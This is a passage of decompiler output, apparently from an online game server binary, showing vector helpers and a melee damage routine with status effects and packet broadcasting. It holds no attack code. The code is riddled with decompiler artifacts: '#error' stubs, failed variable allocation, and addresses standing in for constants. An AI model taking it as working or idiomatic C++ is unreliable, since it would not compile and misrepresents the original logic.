= this; v6 = _First; if ( _First != _Last ) { v7 = v5->_Mylast; v8 = _First; if ( (AbnormalStateContainer::AbstateElementInObject *)_Last != v7 ) { do { v9 = (const void *)v4; v10 = (void *)v8; *(_DWORD *)&v4 += 108; *(_DWORD *)&v8 += 108; memcpy(v10, v9, 0x6Cu); } while ( (AbnormalStateContainer::AbstateElementInObject *)v4 != v7 ); v6 = _First; } v11 = v5->_Mylast; v12 = (AbnormalStateContainer::AbstateElementInObject *)v8; if ( (AbnormalStateContainer::AbstateElementInObject *)v8 != v11 ) { do { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v12); ++v12; } while ( v12 != v11 ); v6 = _First; } v5->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v8; } v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v13; } //----- (0042AD00) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // edi@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // esi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // edi@21 AbnormalStateContainer::AbstateElementInObject *v15; // ST14_4@21 int v16; // eax@21 int v17; // esi@23 AbnormalStateContainer::AbstateElementInObject *v18; // eax@23 AbnormalStateContainer::AbstateElementInObject *v19; // ecx@26 std::vector >::iterator v20; // edi@26 AbnormalStateContainer::AbstateElementInObject *v21; // ecx@27 AbnormalStateContainer::AbstateElementInObject *v22; // ST20_4@27 unsigned int v23; // esi@27 int v24; // [sp+0h] [bp-90h]@1 AbnormalStateContainer::AbstateElementInObject _Tmp; // [sp+Ch] [bp-84h]@1 void *_Newvec; // [sp+78h] [bp-18h]@21 std::vector > *thisa; // [sp+7Ch] [bp-14h]@1 int *v28; // [sp+80h] [bp-10h]@1 int v29; // [sp+8Ch] [bp-4h]@1 AbnormalStateContainer::AbstateElementInObject *_Wherea; // [sp+98h] [bp+8h]@28 AbnormalStateContainer::AbstateElementInObject *_Ptr; // [sp+9Ch] [bp+Ch]@21 int _Vala; // [sp+A0h] [bp+10h]@21 AbnormalStateContainer::AbstateElementInObject *_Valb; // [sp+A0h] [bp+10h]@26 v4 = this; v28 = &v24; thisa = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v6 = 0; v29 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[-v9 + 14623] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 108 >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 108 * _Count)); std::copy_backward( *(AbnormalStateContainer::AbstateElementInObject **)&v20, _Wherea, _Valb); std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&v20, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&v20 + 108 * _Count), &_Tmp); } else { std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v19, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&_Where + 108 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = v4->_Mylast; v22 = v4->_Mylast; LOBYTE(v29) = 3; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 108, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v23; std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)(v23 - 108 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[-(v6 >> 1) + 14623] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Vala = 108 * v11; v13 = operator new(108 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = v13; LOBYTE(v29) = 1; _Ptr = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v15, *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v29 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 108; v17 = v16 + v8; v18 = v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy( v4, v18, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + _Vala); v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + 108 * v17); v4->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v14; } } v29 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&_Tmp); } //----- (0042B000) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val) { AbnormalStateContainer::AbstateElementInObject *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&_Val); } //----- (0042B0D0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1272582903i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0042B140) -------------------------------------------------------- #error "42B140: undefined or illegal type '#593' (funcsize=449)" //----- (0042B6F0) -------------------------------------------------------- #error "42B6F0: undefined or illegal type '#593' (funcsize=273)" //----- (0042BAC0) -------------------------------------------------------- #error "42BAC0: undefined or illegal type '#593' (funcsize=413)" //----- (0042C030) -------------------------------------------------------- // local variable allocation has failed! char __thiscall ShineObjectClass::ShineMobileObject::smo_SwingDamage(#593 *this, ABSTATEINDEX a2, int abstate, int absstrength, int absrate) { int v5; // esi@1 int v6; // ebp@1 int v8; // ebx@4 int v9; // eax@4 int v10; // eax@4 int v11; // eax@4 int v12; // ebx@6 unsigned __int16 v13; // ax@6 int v14; // edx@6 int v15; // eax@8 int v16; // ebx@13 int v17; // eax@15 unsigned int v18; // edx@16 int v19; // ebx@16 int v20; // eax@19 int v21; // ebp@20 AxialListIteratorVtbl *v22; // edx@24 bool v23; // sf@24 unsigned __int8 v24; // of@24 int v25; // ecx@29 unsigned int v26; // eax@33 char *v27; // eax@33 int v28; // ecx@33 AxialListIteratorVtbl *v29; // eax@40 AxialListIteratorVtbl v30; // eax@40 int v31; // eax@45 unsigned __int16 v32; // bx@46 int v33; // edx@47 int v34; // ecx@49 int v35; // ecx@51 int v36; // edx@52 char *v37; // ebp@56 char v38; // cl@56 char v39; // al@56 char v40; // cl@56 char v41; // al@56 char v42; // al@56 int v43; // eax@62 int v44; // eax@64 int v45; // ebx@64 int v46; // ebp@64 int v47; // eax@64 int v48; // eax@68 int v49; // eax@70 int v50; // ebx@70 int v51; // ebp@70 int v52; // eax@70 char *v53; // ebp@71 char v54; // dl@71 char v55; // bl@71 int v56; // ecx@74 int v57; // eax@74 int v58; // ST7E_4@74 int v59; // ST6A_4@74 int v60; // eax@74 RulesOfEngagement *v61; // eax@75 signed int v62; // ebx@75 int v63; // eax@79 int v64; // eax@80 ItemActionObserveManager *v65; // eax@80 int v66; // eax@80 ItemActionObserveManager *v67; // eax@80 int v68; // edx@82 ItemActionObserveManager *v69; // eax@82 int v70; // edx@82 ItemActionObserveManager *v71; // eax@82 char targetdead; // [sp+95h] [bp-8Dh]@31 int damage; // [sp+96h] [bp-8Ch]@4 unsigned int damagea; // [sp+96h] [bp-8Ch]@19 int damageb; // [sp+96h] [bp-8Ch]@31 AxialListPacketBroadcast alchat; // [sp+9Ah] [bp-88h]@5 char ActionRt; // [sp+A6h] [bp-7Ch]@80 void *p[2]; // [sp+AAh] [bp-78h]@79 int v79; // [sp+B2h] [bp-70h]@79 double i; // [sp+B6h] [bp-6Ch]@5 int arg; // [sp+BEh] [bp-64h]@75 int v82; // [sp+C2h] [bp-60h]@75 int v83; // [sp+C6h] [bp-5Ch]@75 int v84; // [sp+CAh] [bp-58h]@75 ABSTATEINDEX v85; // [sp+CEh] [bp-54h]@75 int v86; // [sp+D2h] [bp-50h]@75 ABSTATEINDEX v87; // [sp+D6h] [bp-4Ch]@75 int engarg; // [sp+DAh] [bp-48h]@4 ABSTATEINDEX v89; // [sp+DEh] [bp-44h]@4 int v90; // [sp+E2h] [bp-40h]@4 __int16 v91; // [sp+E6h] [bp-3Ch]@4 int v92; // [sp+EAh] [bp-38h]@4 char v93; // [sp+EEh] [bp-34h]@4 char v94; // [sp+EFh] [bp-33h]@4 char v95; // [sp+F0h] [bp-32h]@4 double v96; // [sp+F2h] [bp-30h]@4 double v97; // [sp+FAh] [bp-28h]@4 int v98; // [sp+102h] [bp-20h]@4 int v99; // [sp+106h] [bp-1Ch]@4 int v100; // [sp+10Ah] [bp-18h]@4 FunctionEntarance _; // [sp+112h] [bp-10h]@1 int v102; // [sp+11Eh] [bp-4h]@1 int aggroclear; // [sp+136h] [bp+14h]@42 int aggrocleara; // [sp+136h] [bp+14h]@43 v5 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::smo_SwingDamage"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SwingDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v102 = 0; if ( !a2 || !*(_DWORD *)(v5 + 98) ) { --funcallanalizer.fca_stackpoint; v102 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); return 0; } **(_BYTE **)(v5 + 82) = DirectDistanceTable::ddt_DirectSR( &ddt, **(_DWORD **)(a2 + 78) - **(_DWORD **)(v5 + 78), *(_DWORD *)(*(_DWORD *)(a2 + 78) + 4) - *(_DWORD *)(*(_DWORD *)(v5 + 78) + 4)); v8 = *(_DWORD *)v5; v9 = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1792))(a2); (*(void (__thiscall **)(int, int))(v8 + 3376))(v5, v9); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1412))(v5); (*(void (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1412))(a2); (*(void (__thiscall **)(int, ABSTATEINDEX))(*(_DWORD *)v5 + 2712))(v5, a2); v10 = *(_DWORD *)(v5 + 78); v97 = 1.0; LODWORD(v96) = v10; v11 = *(_DWORD *)(v5 + 7432); engarg = v5; v89 = a2; v90 = 0; v93 = 0; *(_WORD *)((char *)&v92 + 1) = 0; LOBYTE(v92) = 0; BYTE3(v92) = 0; v95 = 0; v91 = 0; v98 = 1000; v99 = 0; v94 = 0; v100 = 0; damage = 0; if ( v11 > 0 ) goto LABEL_10; (*(void (__stdcall **)(int *))(**(_DWORD **)(v5 + 7424) + 24))(&engarg); i = g_LUA_SCRIPT_SECURITYFactor * 1.0; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)RandomBox::rb_1000(&rndbox); if ( (double)(signed int)alchat.baseclass_0.vfptr <= i ) { v12 = *(_DWORD *)(v5 + 7424); v13 = RandomBox::rb_1000(&rndbox); v14 = *(_DWORD *)v12; *(double *)&alchat.baseclass_0.vfptr = (double)v13; (*(void (__thiscall **)(int, int *))(v14 + 44))(v12, &engarg); if ( *(double *)&alchat.baseclass_0.vfptr >= *(double *)&alchat.baseclass_0.vfptr ) { v11 = (*(int (__stdcall **)(int *))(**(_DWORD **)(v5 + 7424) + 28))(&engarg); LABEL_10: damage = v11; goto LABEL_11; } } if ( *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1068))(v5) + 2940) < 1 ) { v15 = *(_DWORD *)a2; BYTE1(v92) = 1; (*(void (__thiscall **)(ABSTATEINDEX, int, signed int))(v15 + 1784))(a2, v5, 1); } LABEL_11: if ( *(_WORD *)((*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1068))(a2) + 3090) ) { if ( BYTE1(v92) == 1 ) v16 = (*(int (__stdcall **)(int *))(**(_DWORD **)(v5 + 7424) + 28))(&engarg); else v16 = damage; v17 = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1068))(a2); (*(void (__thiscall **)(int, unsigned int, ABSTATEINDEX))(*(_DWORD *)v5 + 3532))( v5, ((signed int)((unsigned __int64)(v16 * *(_WORD *)(v17 + 3090) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v16 * *(_WORD *)(v17 + 3090) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31), a2); } v18 = (unsigned __int64)(damage * (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 3492))(v5) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32; v19 = ((signed int)v18 >> 6) + (v18 >> 31); if ( damage > 0 && !v19 ) v19 = 1; damagea = v19; v20 = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 2528))(a2); if ( v20 ) { LODWORD(i) = 0; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)1000; v21 = v20 + 8; while ( *(_DWORD *)(v21 - 4) != 45 || *(_DWORD *)v21 != (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1792))(v5) ) { if ( *(_DWORD *)(v21 - 4) == 14 ) { v22 = *(AxialListIteratorVtbl **)v21; v21 += 8; v24 = __OFSUB__(LODWORD(i) + 1, 4); v23 = LODWORD(i) - 3 < 0; alchat.baseclass_0.vfptr = v22; ++LODWORD(i); if ( v23 ^ v24 ) continue; } goto LABEL_27; } damagea = ((signed int)((unsigned __int64)(v19 * (signed int)alchat.baseclass_0.vfptr * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v19 * (signed int)alchat.baseclass_0.vfptr * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); LABEL_27: v6 = 0; } if ( (unsigned __int8)(*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 28))(a2) ) v25 = damagea; else v25 = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1068))(v5) + 2940) + damagea; damageb = (*(int (__thiscall **)(ABSTATEINDEX, int))(*(_DWORD *)a2 + 3140))(a2, v25); (*(void (__thiscall **)(int, ABSTATEINDEX, int, int *))(*(_DWORD *)v5 + 3424))(v5, a2, damageb, &engarg); targetdead = 0; if ( !(*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1252))(a2) ) targetdead = 1; v26 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v26; v27 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v26]]; v28 = (*((_DWORD *)v27 + 8192) + 1) & *((_DWORD *)v27 + 8193); *((_DWORD *)v27 + 8192) = v28; if ( *(_WORD *)&v27[2 * v28] < absrate ) { if ( abstate < 609 == v6 ) AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstate); else v6 = dword_6BC994[abstate]; if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(ABSTATEINDEX, int, int, int, int, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)a2 + 1584))( a2, v5, abstate, absstrength, v6, clockwatch.cw_CurrTick, 0, -1, 0, 4) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)a2, *(_DWORD *)(*(_DWORD *)v6 + 34)); v29 = (AxialListIteratorVtbl *)(v6 + 36 * absstrength + 8); alchat.baseclass_0.vfptr = v29; v30.ali_Work = v29->ali_Work; if ( v30.ali_Work ) { (*(void (__thiscall **)(ABSTATEINDEX, _DWORD, _DWORD, signed int))(*(_DWORD *)a2 + 1004))( a2, *(_DWORD *)(*(_DWORD *)v6 + 34), *(_DWORD *)((char *)v30.ali_Work + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)a2, *(_DWORD *)(*(_DWORD *)v6 + 34), *(_DWORD *)((char *)alchat.baseclass_0.vfptr->ali_Work + 43), absstrength); } } if ( aggroclear > 0 ) (*(void (__thiscall **)(int, ABSTATEINDEX, int))(*(_DWORD *)v5 + 1788))(v5, a2, aggrocleara); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Invalid abstate", abstate); } v6 = 0; } LOWORD(v31) = *(_WORD *)(*(_DWORD *)(v5 + 3544) + 12 * *(_WORD *)(v5 + 3550) + 4); while ( 1 ) { v32 = *(_WORD *)(v5 + 3540); if ( (unsigned __int16)v31 >= v32 ) break; v33 = *(_DWORD *)(v5 + 3544); v31 = (unsigned __int16)v31; HIWORD(alchat.baseclass_0.vfptr) = *(_WORD *)(v33 + 12 * (unsigned __int16)v31 + 4); if ( (unsigned __int16)v31 < v32 && *(_BYTE *)(v33 + 12 * v31 + 8) ) v34 = *(_DWORD *)(v33 + 12 * v31); else v34 = 0; v35 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v34 + 4)); if ( (unsigned __int16)v31 < v32 && (v36 = v33 + 12 * v31, *(_BYTE *)(v36 + 8)) ) { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v35 + 64))(*(_DWORD *)v36); LOWORD(v31) = HIWORD(alchat.baseclass_0.vfptr); v6 = 0; } else { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v35 + 64))(0); LOWORD(v31) = HIWORD(alchat.baseclass_0.vfptr); v6 = 0; } } (*(void (__thiscall **)(int, int, ABSTATEINDEX, signed int, int))(*(_DWORD *)v5 + 3156))(v5, v6, a2, 1, v6); (*(void (__thiscall **)(int, signed int, int, _DWORD, int))(*(_DWORD *)v5 + 3156))( v5, 3, v5, *(int *)((char *)&v92 + 1), v6); if ( (unsigned __int8)(*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 3144))(a2) ) goto LABEL_75; v37 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9288; v38 = v37[6]; *((_WORD *)v37 + 1) = *(_WORD *)(v5 + 4); *((_WORD *)v37 + 2) = *(_WORD *)(a2 + 4); v39 = (v92 ^ v38) & 1 ^ v37[6]; v37[6] = v39; v40 = v39 ^ (v39 ^ 2 * v93) & 2; v37[6] = v40; v41 = v40 ^ (v40 ^ 4 * BYTE1(v92)) & 4; v37[6] = v41; v42 = (v95 << 7) | v41 & 0x7F; v37[6] = v42; v37[6] = v42 ^ (v42 ^ 8 * BYTE3(v92)) & 8; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 3356))(v5) == 1 ) v37[6] ^= (v37[6] ^ 16 * (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 3444))(v5)) & 0x10; else v37[6] &= 0xEFu; v37[6] ^= (v37[6] ^ (v94 << 6)) & 0x40; *(_WORD *)(v37 + 7) = damageb; *(_DWORD *)(v37 + 9) = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1252))(a2); *(_WORD *)(v37 + 13) = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 2024))(a2); v37[16] = *(_BYTE *)(v5 + 7437); v37[15] = *(_BYTE *)(v5 + 7444); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2480))(v5) ) { if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) goto LABEL_61; v44 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2480))(v5); v45 = (*(int (__thiscall **)(int))(*(_DWORD *)v44 + 764))(v44); v46 = *(_DWORD *)v45; v47 = (*(int (__thiscall **)(int, ProtocolPacket *))(*(_DWORD *)v5 + 2480))(v5, &gpp); (*(void (__thiscall **)(int, int))(v46 + 12))(v45, v47); } else { if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { LABEL_61: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Packet Too Long", 17); goto LABEL_65; } v43 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v43 + 12))(v43, v5, &gpp); } LABEL_65: if ( (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 2480))(a2) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v49 = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 2480))(a2); v50 = (*(int (__thiscall **)(int))(*(_DWORD *)v49 + 764))(v49); v51 = *(_DWORD *)v50; v52 = (*(int (__thiscall **)(ABSTATEINDEX, ProtocolPacket *))(*(_DWORD *)a2 + 2480))(a2, &gpp); (*(void (__thiscall **)(int, int))(v51 + 12))(v50, v52); goto LABEL_71; } } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v48 = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, ABSTATEINDEX, ProtocolPacket *))(*(_DWORD *)v48 + 12))(v48, a2, &gpp); goto LABEL_71; } } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Packet Too Long", 17); LABEL_71: v53 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9289; v54 = v53[6]; v55 = v53[6]; *((_WORD *)v53 + 1) = *(_WORD *)(v5 + 4); *((_WORD *)v53 + 2) = *(_WORD *)(a2 + 4); v53[6] = (BYTE1(v92) ^ v54) & 1 ^ v55; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 3356))(v5) == 1 ) v53[6] ^= (v53[6] ^ 2 * (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 3444))(v5)) & 2; else v53[6] &= 0xFDu; *(_DWORD *)(v53 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1252))(a2); *(_WORD *)(v53 + 11) = (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 2024))(a2); v53[13] = *(_BYTE *)(v5 + 7444); v53[14] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); v56 = *(_DWORD *)(v5 + 78); v57 = *(_WORD *)(a2 + 4); LOBYTE(v102) = 1; v58 = v57; v59 = v56; v60 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v5, v60, v59, 0, 0, (int)&alchat, 0, v58); LOBYTE(v102) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v6 = 0; LABEL_75: v61 = *(RulesOfEngagement **)(v5 + 7424); v62 = 0; v82 = v6; v83 = 10; v84 = v6; v85 = v6; v86 = v5; v87 = a2; arg = v6; if ( v61 == &roe_normalPY ) { v62 = 3; } else { if ( v61 == &roe_normalMA ) v62 = 2; } p[0] = (void *)v6; p[1] = (void *)v6; v79 = v6; v63 = *(_DWORD *)v5; LOBYTE(v102) = 2; if ( (*(int (__thiscall **)(int))(v63 + 1484))(v5) ) { v64 = *(_DWORD *)v5; v85 = v5; v82 = v6; v65 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(v64 + 1484))(v5); ItemActionObserveManager::EventRun( v65, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); v66 = *(_DWORD *)v5; v82 = v62; v67 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(v66 + 1484))(v5); ItemActionObserveManager::EventRun( v67, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); } if ( (*(int (__thiscall **)(ABSTATEINDEX))(*(_DWORD *)a2 + 1484))(a2) ) { v68 = *(_DWORD *)a2; v85 = a2; v82 = v6; v69 = (ItemActionObserveManager *)(*(int (__thiscall **)(ABSTATEINDEX))(v68 + 1484))(a2); ItemActionObserveManager::EventRun( v69, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); v70 = *(_DWORD *)a2; v82 = v62; v71 = (ItemActionObserveManager *)(*(int (__thiscall **)(ABSTATEINDEX))(v70 + 1484))(a2); ItemActionObserveManager::EventRun( v71, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); } if ( p[0] != (void *)v6 ) operator delete(p[0]); --funcallanalizer.fca_stackpoint; p[0] = (void *)v6; p[1] = (void *)v6; v79 = v6; v102 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); return targetdead; } // 42C030: variables would overlap: ST132_4/4 and ST132_8/8 // 42C030: inconsistent function type and number of purged bytes //----- (0042C9D0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // ebx@1 const void *v3; // eax@1 AbnormalStateContainer::AbstateElementInObject v4; // [sp-6Ch] [bp-F0h]@1 AbnormalStateContainer::AbstateElementInObject thisa; // [sp+Ch] [bp-78h]@1 int v6; // [sp+80h] [bp-4h]@1 v2 = this; AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(&thisa); memcpy(&v4, v3, sizeof(v4)); v6 = 0; std::vector>::resize( v2, _Newsize, v4); v6 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&thisa); } //----- (0042CA50) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 AbnormalStateContainer::AbstateElementInObject *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { 